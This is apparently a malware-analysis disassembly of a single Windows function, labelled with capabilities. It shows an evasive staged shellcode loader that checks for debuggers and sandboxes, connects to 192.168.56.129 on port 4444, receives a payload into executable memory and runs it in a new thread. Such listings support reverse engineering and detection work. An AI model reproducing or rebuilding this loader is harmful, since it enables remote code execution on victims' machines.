Function at 0x140001530
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Execute shellcode via indirect call
Initialize winsock library
Link many functions at runtime
Receive data
Receive data on socket
Resolve dns
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
sub rsp, 0x3c8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x330], xmm6
mov dword [rbp + 0x360], ecx
mov qword [rbp + 0x368], rdx
call dbg.__main
mov dword [rbp + 0x17c], 0
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.CheckRemoteDebuggerPresent
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2c8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x17c]
mov r8, qword [rbp + 0x2c8]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x17c]
cmp eax, 1
je 0x1400028b6
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.GetTickCount
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x2c0]
call rax
mov dword [rbp + 0x2bc], eax
mov ecx, 0x2f8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x2c0]
call rax
mov dword [rbp + 0x2b8], eax
mov eax, dword [rbp + 0x2b8]
sub eax, dword [rbp + 0x2bc]
cmp eax, 0x2c6
jbe 0x1400028b6
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x2b0], rax
cmp qword [rbp + 0x2b0], 0
je 0x140001680
mov rax, qword [rbp + 0x2b0]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2a8], rax
mov rax, qword [rbp + 0x2a8]
mov ecx, 0
call rax
mov dword [rbp + 0x32c], eax
cmp dword [rbp + 0x32c], 0xffffffff
je 0x1400028b6
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov ecx, 0
call rax
mov dword [rbp + 0x29c], eax
cmp dword [rbp + 0x29c], 0xffffffff
je 0x1400028b6
mov dword [rbp + 0x298], 0x34d
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x290], rax
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.GetTickCount
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x288], rax
mov rax, qword [rbp + 0x288]
call rax
mov dword [rbp + 0x284], eax
mov eax, dword [rbp + 0x298]
mov r8, qword [rbp + 0x290]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x288]
call rax
mov dword [rbp + 0x280], eax
mov eax, dword [rbp + 0x280]
sub eax, dword [rbp + 0x284]
cmp eax, 0x31b
jbe 0x1400028b6
mov r8d, 4
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x278], rax
cmp qword [rbp + 0x278], 0
jne 0x1400028b6
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x270], rax
cmp qword [rbp + 0x270], 0
je 0x140001806
mov rax, qword [rbp + 0x270]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x268], rax
mov rax, qword [rbp + 0x268]
mov ecx, 0
call rax
mov dword [rbp + 0x328], eax
cmp dword [rbp + 0x328], 0xffffffff
je 0x1400028b6
lea rcx, str.gfhfaausdulartim.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x260], rax
cmp qword [rbp + 0x260], 0
jne 0x1400028b6
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x258], rax
cmp qword [rbp + 0x258], 0
je 0x14000188e
mov rax, qword [rbp + 0x258]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x250], rax
mov rax, qword [rbp + 0x250]
mov ecx, 0
call rax
mov dword [rbp + 0x324], eax
cmp dword [rbp + 0x324], 0xffffffff
je 0x1400028b6
mov qword [rbp + 0x318], 0
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x248], rax
cmp qword [rbp + 0x248], 0
je 0x140001925
mov rax, qword [rbp + 0x248]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x240], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x240]
mov r9d, 0x3000
mov r8d, 0x30f
mov edx, 0
call rax
mov qword [rbp + 0x318], rax
cmp qword [rbp + 0x318], 0
je 0x1400028b6
mov word [rbp + 0x23e], 0x202
movzx eax, word [rbp + 0x23e]
lea rdx, [rbp - 0x50]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
jns 0x140001969
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sym.exit
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x158], rax
mov dword [rbp + 0x314], 0xffffffff
mov ecx, 0x1978
call sym.malloc
mov qword [rbp + 0x230], rax
mov ecx, 0x1978
call sym.malloc
mov qword [rbp + 0x228], rax
add dword [rbp + 0x314], 1
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x314]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x230]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x314]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x230]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x314]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x228]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x314], 0x32d
jle 0x1400019b5
mov rax, qword [rbp + 0x158]
cmp rax, 0xffffffffffffffff
jne 0x140001acd
mov rax, qword [rbp + 0x158]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sym.exit
mov dword [rbp + 0x310], 0xffffffff
mov ecx, 0x1280
call sym.malloc
mov qword [rbp + 0x220], rax
add dword [rbp + 0x310], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140005080]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x310]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x220]
add rax, rdx
movsd xmm1, qword [0x140005088]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x310]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x220]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x310]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x220]
add rax, rdx
movq xmm1, qword [0x140005090]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x310], 0x24e
jle 0x140001ae8
lea rcx, str.192.168.56.129
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp + 0x218], rax
mov dword [rbp + 0x30c], 0xffffffff
add dword [rbp + 0x30c], 1
call sym.rand
imul eax, eax, 0x38a
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140005080]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x210], rax
cmp dword [rbp + 0x30c], 0x250
jle 0x140001baf
cmp qword [rbp + 0x218], 0
jne 0x140001c2c
mov rax, qword [rbp + 0x158]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sym.exit
mov rax, qword [rbp + 0x218]
movzx eax, word [rax + 0x12]
movsx r8, ax
mov rax, qword [rbp + 0x218]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
lea rdx, [rbp + 0x160]
lea rcx, [rdx + 4]
mov rdx, rax
call sym.memcpy
mov ecx, 0x848
call sym.malloc
mov qword [rbp + 0x208], rax
mov ecx, 0x848
call sym.malloc
mov qword [rbp + 0x200], rax
mov dword [rbp + 0x308], 0
jmp 0x140001d17
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x308]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x208]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x308], 1
cmp dword [rbp + 0x308], 0x108
jle 0x140001c8d
mov dword [rbp + 0x308], 0
jmp 0x140001d85
mov eax, dword [rbp + 0x308]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x208]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x308]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x200]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x308], 1
cmp dword [rbp + 0x308], 0x108
jle 0x140001d33
mov word [rbp + 0x160], 2
mov ecx, 0x115c
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x162], ax
mov rax, qword [rbp + 0x158]
lea rdx, [rbp + 0x160]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
je 0x140001ff1
mov rax, qword [rbp + 0x158]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov ecx, 0x578
call sym.malloc
mov qword [rbp + 0x188], rax
mov dword [rbp + 0x304], 0
jmp 0x140001e93
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x304]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x188]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x304], 1
cmp dword [rbp + 0x304], 0x15d
jle 0x140001e0a
mov dword [rbp + 0x304], 0
jmp 0x140001fbf
mov dword [rbp + 0x184], 0
jmp 0x140001fa1
mov eax, dword [rbp + 0x304]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x188]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x184]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x188]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x140001f9a
mov eax, dword [rbp + 0x184]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x188]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x180], xmm0
mov eax, dword [rbp + 0x304]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x188]
add rdx, rax
mov eax, dword [rbp + 0x184]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x188]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x184]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x188]
add rax, rdx
movss xmm0, dword [rbp + 0x180]
movss dword [rax], xmm0
add dword [rbp + 0x304], 1
mov eax, 0x15d
sub eax, dword [rbp + 0x304]
cmp dword [rbp + 0x184], eax
jl 0x140001ec1
add dword [rbp + 0x304], 1
cmp dword [rbp + 0x304], 0x15d
jle 0x140001eb2
mov rax, qword [rbp + 0x188]
mov rcx, rax
call sym.free
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sym.exit
mov rax, qword [rbp + 0x158]
lea rdx, [rbp + 0x170]
mov r9d, 0
mov r8d, 4
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x1fc], eax
cmp dword [rbp + 0x1fc], 4
jne 0x140002032
mov rax, qword [rbp + 0x170]
test rax, rax
jne 0x140002058
mov rax, qword [rbp + 0x158]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sym.exit
mov rax, qword [rbp + 0x170]
add rax, 0xa
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x1f0], rax
mov rax, qword [rbp + 0x1f0]
mov byte [rax], 0x48
mov rax, qword [rbp + 0x1f0]
add rax, 1
mov byte [rax], 0xbf
mov dword [rbp + 0x1ec], 0
mov ecx, 0x5638
call sym.malloc
mov qword [rbp + 0x1e0], rax
mov ecx, 0x5638
call sym.malloc
mov qword [rbp + 0x1d8], rax
mov ecx, 0x5638
call sym.malloc
mov qword [rbp + 0x1d0], rax
mov dword [rbp + 0x300], 0
jmp 0x1400021cf
mov dword [rbp + 0x2fc], 0
jmp 0x1400021bb
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x300]
movsxd rcx, eax
mov rax, rcx
shl rax, 5
sub rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x1e0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x2fc]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x300]
movsxd rcx, eax
mov rax, rcx
shl rax, 5
sub rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x1d8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x2fc]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x2fc], 1
cmp dword [rbp + 0x2fc], 0x3d
jle 0x1400020fa
add dword [rbp + 0x300], 1
cmp dword [rbp + 0x300], 0x58
jle 0x1400020eb
mov dword [rbp + 0x300], 0
jmp 0x1400022ac
mov dword [rbp + 0x2fc], 0
jmp 0x140002298
mov eax, dword [rbp + 0x300]
movsxd rdx, eax
mov rax, rdx
shl rax, 5
sub rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x1e0]
add rdx, rax
mov eax, dword [rbp + 0x2fc]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x300]
movsxd rdx, eax
mov rax, rdx
shl rax, 5
sub rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x1d8]
add rdx, rax
mov eax, dword [rbp + 0x2fc]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x300]
movsxd rdx, eax
mov rax, rdx
shl rax, 5
sub rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x1d0]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x2fc]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x2fc], 1
cmp dword [rbp + 0x2fc], 0x3d
jle 0x1400021fa
add dword [rbp + 0x300], 1
cmp dword [rbp + 0x300], 0x58
jle 0x1400021eb
mov rax, qword [rbp + 0x1e0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1d0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1f0]
lea rdx, [rax + 2]
mov eax, dword [rbp + 0x158]
mov dword [rdx], eax
mov dword [rbp + 0x1cc], 0
mov dword [rbp + 0x2f8], 0
mov dword [rbp + 0x2ec], 0
mov ecx, 0x5598
call sym.malloc
mov qword [rbp + 0x1c0], rax
mov dword [rbp + 0x2f4], 0
jmp 0x1400023ba
mov dword [rbp + 0x2f0], 0
jmp 0x1400023aa
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x4a07f3db
shr rdx, 0x20
sar edx, 0xa
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0xdd5
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x2f4]
movsxd rcx, eax
mov rax, rcx
shl rax, 5
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x1c0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x2f0]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x2f0], 1
cmp dword [rbp + 0x2f0], 0x41
jle 0x140002343
add dword [rbp + 0x2f4], 1
cmp dword [rbp + 0x2f4], 0x52
jle 0x140002337
mov dword [rbp + 0x2f4], 0
jmp 0x140002441
mov dword [rbp + 0x2f0], 0
jmp 0x140002431
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x2ec]
mov eax, dword [rbp + 0x2f4]
movsxd rdx, eax
mov rax, rdx
shl rax, 5
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x1c0]
add rdx, rax
mov eax, dword [rbp + 0x2f0]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x2ec], eax
add dword [rbp + 0x2f0], 1
cmp dword [rbp + 0x2f0], 0x41
jle 0x1400023df
add dword [rbp + 0x2f4], 1
cmp dword [rbp + 0x2f4], 0x52
jle 0x1400023d3
mov rax, qword [rbp + 0x1c0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1f0]
add rax, 0xa
mov qword [rbp + 0x2e0], rax
jmp 0x140002754
mov ecx, 0xc5c
call sym.malloc
mov qword [rbp + 0x1a0], rax
mov dword [rbp + 0x2dc], 0
jmp 0x1400024dd
call sym.rand
mov edx, dword [rbp + 0x2dc]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1a0]
add rcx, rdx
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x2710
sub eax, r8d
mov edx, eax
mov dword [rcx], edx
add dword [rbp + 0x2dc], 1
cmp dword [rbp + 0x2dc], 0x316
jle 0x14000248d
mov dword [rbp + 0x2dc], 0
jmp 0x1400025cd
cmp dword [rbp + 0x2dc], 0
je 0x14000253d
mov eax, dword [rbp + 0x2dc]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x1a0]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x2dc]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x1a0]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x140002549
add dword [rbp + 0x2dc], 1
jmp 0x1400025cd
mov eax, dword [rbp + 0x2dc]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x1a0]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x194], eax
mov eax, dword [rbp + 0x2dc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1a0]
add rax, rdx
mov edx, dword [rbp + 0x2dc]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x1a0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x2dc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1a0]
add rdx, rax
mov eax, dword [rbp + 0x194]
mov dword [rdx], eax
sub dword [rbp + 0x2dc], 1
cmp dword [rbp + 0x2dc], 0x316
jle 0x1400024f8
mov rax, qword [rbp + 0x1a0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x170]
mov edx, dword [rbp + 0x2f8]
sub eax, edx
mov ecx, eax
mov rax, qword [rbp + 0x158]
mov rdx, qword [rbp + 0x2e0]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x1cc], eax
mov dword [rbp + 0x2d8], 0xffffffff
mov ecx, 0x16a0
call sym.malloc
mov qword [rbp + 0x198], rax
add dword [rbp + 0x2d8], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x2d8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x198]
add rax, rdx
movsd xmm1, qword [0x140005080]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x2d8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x198]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2d8]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x198]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.fmod
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x2d8], 0x2d2
jle 0x140002641
mov eax, dword [rbp + 0x1cc]
cdqe
add qword [rbp + 0x2e0], rax
mov eax, dword [rbp + 0x1cc]
add dword [rbp + 0x2f8], eax
cmp dword [rbp + 0x1cc], 0xffffffff
jne 0x140002754
mov rax, qword [rbp + 0x158]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sym.exit
mov eax, dword [rbp + 0x2f8]
movsxd rdx, eax
mov rax, qword [rbp + 0x170]
cmp rdx, rax
jb 0x140002470
mov eax, dword [rbp + 0x2f8]
mov dword [rbp + 0x1fc], eax
mov ecx, 0x1dc0
call sym.malloc
mov qword [rbp + 0x1b8], rax
mov dword [rbp + 0x2d4], 0
jmp 0x1400027e4
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140005080]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x2d4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1b8]
add rax, rdx
movsd xmm1, qword [0x140005088]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x2d4], 1
cmp dword [rbp + 0x2d4], 0x3b7
jle 0x140002796
mov dword [rbp + 0x2d4], 0
jmp 0x14000284e
mov eax, dword [rbp + 0x2d4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1b8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2d4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1b8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.acos
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x2d4], 1
cmp dword [rbp + 0x2d4], 0x3b7
jle 0x1400027fc
mov rdx, qword [rbp + 0x1f0]
lea rax, [rbp + 0x154]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x1ac], eax
mov eax, 0
movups xmm6, xmmword [rbp + 0x330]
add rsp, 0x3c8
pop rbx
pop rbp
ret